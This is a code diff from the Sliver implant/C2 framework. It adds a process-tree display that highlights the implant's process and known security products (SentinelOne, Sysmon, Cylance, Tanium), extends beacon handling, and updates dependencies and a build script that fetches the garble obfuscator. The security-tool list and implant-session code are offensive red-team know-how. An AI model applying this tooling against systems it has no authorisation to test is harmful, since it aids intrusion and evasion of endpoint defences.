"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
@@ -66,8 +67,8 @@ var (
|
||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
||||
@@ -131,6 +132,25 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
overflow := ctx.Flags.Bool("overflow")
|
||||
skipPages := ctx.Flags.Int("skip-pages")
|
||||
pstree := ctx.Flags.Bool("tree")
|
||||
|
||||
if pstree {
|
||||
var currentPID int32
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session != nil && session.PID != 0 {
|
||||
currentPID = session.PID
|
||||
} else if beacon != nil && beacon.PID != 0 {
|
||||
currentPID = beacon.PID
|
||||
}
|
||||
// Print the process tree
|
||||
sorted := SortProcessesByPID(ps.Processes)
|
||||
tree := NewPsTree(currentPID)
|
||||
for _, p := range sorted {
|
||||
tree.AddProcess(p)
|
||||
}
|
||||
con.PrintInfof("Process Tree:\n%s", tree.String())
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
@@ -270,3 +290,11 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// SortProcessesByPID - Sorts a list of processes by PID
|
||||
func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
|
||||
sort.Slice(ps, func(i, j int) bool {
|
||||
return ps[i].Pid < ps[j].Pid
|
||||
})
|
||||
return ps
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
package processes
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/xlab/treeprint"
|
||||
)
|
||||
|
||||
// A PsTree is a tree of *commonpb.Process
|
||||
type PsTree struct {
|
||||
printableTree treeprint.Tree // only used for rendering
|
||||
implantPID int32
|
||||
procTree *node // used to hold the tree structure
|
||||
}
|
||||
|
||||
type node struct {
|
||||
Value *commonpb.Process // The process information
|
||||
Children map[int32]*node // The children of this node
|
||||
Parent *node // The parent of this node
|
||||
}
|
||||
|
||||
// NewPsTree creates a new PsTree
|
||||
func NewPsTree(pid int32) *PsTree {
|
||||
return &PsTree{
|
||||
printableTree: treeprint.New(),
|
||||
implantPID: pid,
|
||||
procTree: &node{Value: &commonpb.Process{Pid: -1}},
|
||||
}
|
||||
}
|
||||
|
||||
func (n *node) insert(proc *commonpb.Process) {
|
||||
if n.Value == nil {
|
||||
n.Value = proc
|
||||
return
|
||||
}
|
||||
if parent := n.findParent(proc); parent != nil {
|
||||
if parent.Children == nil {
|
||||
parent.Children = make(map[int32]*node)
|
||||
}
|
||||
parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
|
||||
} else {
|
||||
if n.Children == nil {
|
||||
n.Children = make(map[int32]*node)
|
||||
}
|
||||
n.Children[proc.Pid] = &node{Value: proc, Parent: n}
|
||||
}
|
||||
}
|
||||
|
||||
func (n *node) findParent(proc *commonpb.Process) *node {
|
||||
if n.Value == nil {
|
||||
return nil
|
||||
}
|
||||
if n.Value.Pid == proc.Ppid {
|
||||
return n
|
||||
}
|
||||
for _, child := range n.Children {
|
||||
if p := child.findParent(proc); p != nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func reorder(root *node) {
|
||||
toDelete := make([]int32, 0)
|
||||
for pid, child := range root.Children {
|
||||
// skip root node
|
||||
if child.Value.Pid == -1 {
|
||||
continue
|
||||
}
|
||||
// Skip edge case of [System Process] on Windows
|
||||
if child.Value.Ppid == pid {
|
||||
continue
|
||||
}
|
||||
// only focus on children without parent
|
||||
if child.Parent.Value.Pid == -1 {
|
||||
if parent := root.findParent(child.Value); parent != nil {
|
||||
child.Parent = parent
|
||||
if parent.Children == nil {
|
||||
parent.Children = make(map[int32]*node)
|
||||
}
|
||||
// copy to new parent
|
||||
parent.Children[pid] = child
|
||||
// mark for deletion
|
||||
toDelete = append(toDelete, pid)
|
||||
}
|
||||
}
|
||||
}
|
||||
// delete children that were moved
|
||||
for _, pid := range toDelete {
|
||||
delete(root.Children, pid)
|
||||
}
|
||||
}
|
||||
|
||||
func (t *PsTree) AddProcess(proc *commonpb.Process) {
|
||||
t.procTree.insert(proc)
|
||||
}
|
||||
|
||||
func (t *PsTree) filterProc(proc *commonpb.Process) string {
|
||||
color := console.Normal
|
||||
if proc.Pid == t.implantPID {
|
||||
color = console.Green
|
||||
}
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
}
|
||||
return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
|
||||
}
|
||||
|
||||
func (t *PsTree) String() string {
|
||||
reorder(t.procTree)
|
||||
return t.Print()
|
||||
}
|
||||
|
||||
func (t *PsTree) Print() string {
|
||||
topLevelPIDs := make([]int, 0, len(t.procTree.Children))
|
||||
for k := range t.procTree.Children {
|
||||
topLevelPIDs = append(topLevelPIDs, int(k))
|
||||
}
|
||||
sort.Ints(topLevelPIDs)
|
||||
for _, pid := range topLevelPIDs {
|
||||
current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
|
||||
t.addToTree(current, t.procTree.Children[int32(pid)].Children)
|
||||
}
|
||||
return t.printableTree.String()
|
||||
|
||||
}
|
||||
|
||||
func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
|
||||
for pid, proc := range procs {
|
||||
if proc.Value.Pid == -1 {
|
||||
continue
|
||||
}
|
||||
procName := t.filterProc(proc.Value)
|
||||
|
||||
procNode := tree.FindByMeta(pid)
|
||||
if procNode == nil {
|
||||
if len(proc.Children) > 0 {
|
||||
procNode = tree.AddMetaBranch(pid, procName)
|
||||
} else {
|
||||
procNode = tree.AddMetaNode(pid, procName)
|
||||
}
|
||||
}
|
||||
t.addToTree(procNode, proc.Children)
|
||||
}
|
||||
}
|
||||
@@ -30,8 +30,9 @@ import (
|
||||
|
||||
// TerminateCmd - Terminate a process on the remote system
|
||||
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
con.PrintErrorf("No active session or beacon\n")
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -215,6 +215,8 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
// ---------------------
|
||||
// Exec commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
|
||||
fallthrough
|
||||
case sliverpb.MsgExecuteAssemblyReq:
|
||||
execAssembly := &sliverpb.ExecuteAssembly{}
|
||||
err := proto.Unmarshal(task.Response, execAssembly)
|
||||
@@ -430,7 +432,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
|
||||
return
|
||||
}
|
||||
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, con)
|
||||
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con)
|
||||
|
||||
// ---------------------
|
||||
// Privilege commands
|
||||
|
||||
@@ -1,10 +1,27 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"os"
|
||||
"path"
|
||||
@@ -94,7 +111,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
data, err := ioutil.ReadAll(file)
|
||||
data, err := io.ReadAll(file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
|
||||
@@ -100,7 +100,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
return sortedContents[i].Path < sortedContents[j].Path
|
||||
})
|
||||
for _, content := range sortedContents {
|
||||
tw.AppendHeader(table.Row{
|
||||
tw.AppendRow(table.Row{
|
||||
content.Path,
|
||||
content.ContentType,
|
||||
content.Size,
|
||||
|
||||
@@ -44,6 +44,7 @@ import (
|
||||
"github.com/desertbit/go-shlex"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/fatih/color"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
@@ -91,6 +92,7 @@ type SliverConsoleClient struct {
|
||||
App *grumble.App
|
||||
Rpc rpcpb.SliverRPCClient
|
||||
ActiveTarget *ActiveTarget
|
||||
EventListeners *sync.Map
|
||||
BeaconTaskCallbacks map[string]BeaconTaskCallback
|
||||
BeaconTaskCallbacksMutex *sync.Mutex
|
||||
IsServer bool
|
||||
@@ -120,6 +122,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
observers: map[int]Observer{},
|
||||
observerID: 0,
|
||||
},
|
||||
EventListeners: &sync.Map{},
|
||||
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
|
||||
BeaconTaskCallbacksMutex: &sync.Mutex{},
|
||||
IsServer: isServer,
|
||||
@@ -136,7 +139,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
})
|
||||
|
||||
go con.EventLoop()
|
||||
go con.startEventLoop()
|
||||
go core.TunnelLoop(rpc)
|
||||
|
||||
err := con.App.Run()
|
||||
@@ -146,7 +149,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
return err
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) EventLoop() {
|
||||
func (con *SliverConsoleClient) startEventLoop() {
|
||||
eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
@@ -158,7 +161,10 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
return
|
||||
}
|
||||
|
||||
go con.triggerEventListeners(event)
|
||||
|
||||
// Trigger event based on type
|
||||
echoed := false // Only echo the event once
|
||||
switch event.EventType {
|
||||
|
||||
case consts.CanaryEvent:
|
||||
@@ -168,6 +174,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.WatchtowerEvent:
|
||||
msg := string(event.Data)
|
||||
@@ -177,15 +184,19 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.JoinedEvent:
|
||||
con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
|
||||
echoed = true
|
||||
case consts.LeftEvent:
|
||||
con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
|
||||
echoed = true
|
||||
|
||||
case consts.JobStoppedEvent:
|
||||
job := event.Job
|
||||
con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
|
||||
echoed = true
|
||||
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
@@ -201,12 +212,14 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
|
||||
echoed = true
|
||||
|
||||
case consts.SessionClosedEvent:
|
||||
session := event.Session
|
||||
@@ -229,6 +242,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
}
|
||||
con.PrintEventInfof("Removed session %s from Operator", session.Name)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.BeaconRegisteredEvent:
|
||||
beacon := &clientpb.Beacon{}
|
||||
@@ -247,18 +261,46 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
con.triggerBeaconTaskCallback(event.Data)
|
||||
echoed = true
|
||||
|
||||
}
|
||||
|
||||
con.triggerReactions(event)
|
||||
|
||||
con.Printf(Clearln + con.GetPrompt())
|
||||
bufio.NewWriter(con.App.Stdout()).Flush()
|
||||
// Only render if we echoed the event
|
||||
if echoed {
|
||||
con.Printf(Clearln + con.GetPrompt())
|
||||
bufio.NewWriter(con.App.Stdout()).Flush()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
|
||||
listener := make(chan *clientpb.Event, 100)
|
||||
listenerID, _ := uuid.NewV4()
|
||||
con.EventListeners.Store(listenerID.String(), listener)
|
||||
return listenerID.String(), listener
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
|
||||
value, ok := con.EventListeners.LoadAndDelete(listenerID)
|
||||
if ok {
|
||||
close(value.(chan *clientpb.Event))
|
||||
}
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
|
||||
con.EventListeners.Range(func(key, value interface{}) bool {
|
||||
listener := value.(chan *clientpb.Event)
|
||||
listener <- event // Do not block while sending the event to the listener
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
|
||||
reactions := core.Reactions.On(event.EventType)
|
||||
if len(reactions) == 0 {
|
||||
|
||||
@@ -90,7 +90,10 @@ const (
|
||||
BeaconTaskResultEvent = "beacon-taskresult"
|
||||
|
||||
// ExternalBuildEvent
|
||||
ExternalBuildEvent = "external-build"
|
||||
ExternalBuildEvent = "external-build"
|
||||
AcknowledgeBuildEvent = "external-acknowledge"
|
||||
ExternalBuildFailedEvent = "external-build-failed"
|
||||
ExternalBuildCompletedEvent = "external-build-completed"
|
||||
|
||||
// WireGuardNewPeer - New Wireguard peer added
|
||||
WireGuardNewPeer = "wireguard-newpeer"
|
||||
@@ -253,6 +256,8 @@ const (
|
||||
CursedElectron = "electron"
|
||||
CursedEdge = "edge"
|
||||
CursedCookies = "cookies"
|
||||
|
||||
BuildersStr = "builders"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
+1
-1
@@ -232,7 +232,7 @@ GEM
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.15.0)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.13.6)
|
||||
nokogiri (1.13.9)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.22.0)
|
||||
|
||||
+3
-3
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.19.1"
|
||||
GARBLE_VER="1.19.2"
|
||||
GO_VER="1.19.3"
|
||||
GARBLE_VER="1.19.4"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
@@ -156,7 +156,7 @@ echo "-----------------------------------------------------------------"
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
|
||||
@@ -13,48 +13,48 @@ require (
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.0
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
|
||||
github.com/chromedp/chromedp v0.8.5
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
|
||||
github.com/chromedp/chromedp v0.8.6
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/desertbit/readline v1.5.1
|
||||
github.com/fatih/color v1.13.0
|
||||
github.com/gofrs/uuid v4.3.0+incompatible
|
||||
github.com/gofrs/uuid v4.3.1+incompatible
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.2
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.15
|
||||
github.com/mattn/go-sqlite3 v1.14.16
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/onsi/ginkgo v1.16.5
|
||||
github.com/onsi/gomega v1.20.2
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/shirou/gopsutil/v3 v3.22.8
|
||||
github.com/shirou/gopsutil/v3 v3.22.10
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.5.0
|
||||
github.com/stretchr/testify v1.8.0
|
||||
github.com/spf13/cobra v1.6.1
|
||||
github.com/stretchr/testify v1.8.1
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/xlab/treeprint v1.1.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
|
||||
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.org/x/text v0.3.7
|
||||
golang.org/x/text v0.4.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.28.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.3.6
|
||||
gorm.io/driver/postgres v1.3.10
|
||||
gorm.io/driver/sqlite v1.3.6
|
||||
gorm.io/gorm v1.23.9
|
||||
gorm.io/driver/mysql v1.4.3
|
||||
gorm.io/driver/postgres v1.4.5
|
||||
gorm.io/driver/sqlite v1.4.3
|
||||
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
|
||||
modernc.org/sqlite v1.16.0
|
||||
modernc.org/sqlite v1.19.3
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -71,7 +71,6 @@ require (
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.4.9 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.6.0 // indirect
|
||||
@@ -80,10 +79,10 @@ require (
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/google/go-cmp v0.5.8 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.0 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.1 // indirect
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
|
||||
github.com/jackc/pgconn v1.13.0 // indirect
|
||||
github.com/jackc/pgio v1.0.0 // indirect
|
||||
@@ -92,6 +91,7 @@ require (
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
|
||||
github.com/jackc/pgtype v1.12.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.17.2 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
@@ -100,11 +100,10 @@ require (
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.14 // indirect
|
||||
github.com/mattn/go-isatty v0.0.16 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.13 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/nxadm/tail v1.4.8 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
@@ -112,22 +111,25 @@ require (
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.2 // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.org/x/tools v0.1.12 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
modernc.org/cc/v3 v3.35.24 // indirect
|
||||
modernc.org/ccgo/v3 v3.15.18 // indirect
|
||||
modernc.org/libc v1.14.12 // indirect
|
||||
modernc.org/mathutil v1.4.1 // indirect
|
||||
modernc.org/memory v1.0.7 // indirect
|
||||
modernc.org/opt v0.1.1 // indirect
|
||||
modernc.org/strutil v1.1.1 // indirect
|
||||
modernc.org/token v1.0.0 // indirect
|
||||
lukechampine.com/uint128 v1.2.0 // indirect
|
||||
modernc.org/cc/v3 v3.40.0 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 // indirect
|
||||
modernc.org/libc v1.21.2 // indirect
|
||||
modernc.org/mathutil v1.5.0 // indirect
|
||||
modernc.org/memory v1.4.0 // indirect
|
||||
modernc.org/opt v0.1.3 // indirect
|
||||
modernc.org/strutil v1.1.3 // indirect
|
||||
modernc.org/token v1.0.1 // indirect
|
||||
)
|
||||
@@ -48,10 +48,10 @@ github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA
|
